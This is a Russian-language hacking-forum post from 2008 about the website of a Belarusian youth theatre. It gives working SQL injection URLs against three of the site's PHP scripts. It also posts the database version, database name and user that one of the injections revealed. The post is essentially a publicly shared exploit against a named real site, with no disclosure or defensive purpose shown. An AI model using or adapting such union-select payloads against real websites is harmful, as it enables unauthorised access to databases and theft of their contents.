06.07.2008, 00:50
|
|
Banned
Регистрация: 19.10.2007
Сообщений: 152
Провел на форуме:
557623
Репутация:
415
|
|
Белорусский Республиканский ТЕАТР ЮНОГО ЗРИТЕЛЯ
Сообщение от kair
http://tuz-by.com/viewperson.php?id=180%20union%20select%201,2,3,4,5 ,6,7,8,9,10/*
При инъекции в скрипте persons.php можно узнать немного больше
Код:
http://www.tuz-by.com/persons.php?type=1+union+select+1,2,version(),user(),5,6,7,8,database(),10--
VERSION(): 4.0.24_Debian-10sarge2-log
DATABASE(): tuzbycom
USER(): tuzbycom@localhost
Так же подвержен скуль-инъекции скрипт
Код:
http://www.tuz-by.com/viewpress.php?id=13+union+select+1,2,3,4,5,6,7--
|
|
|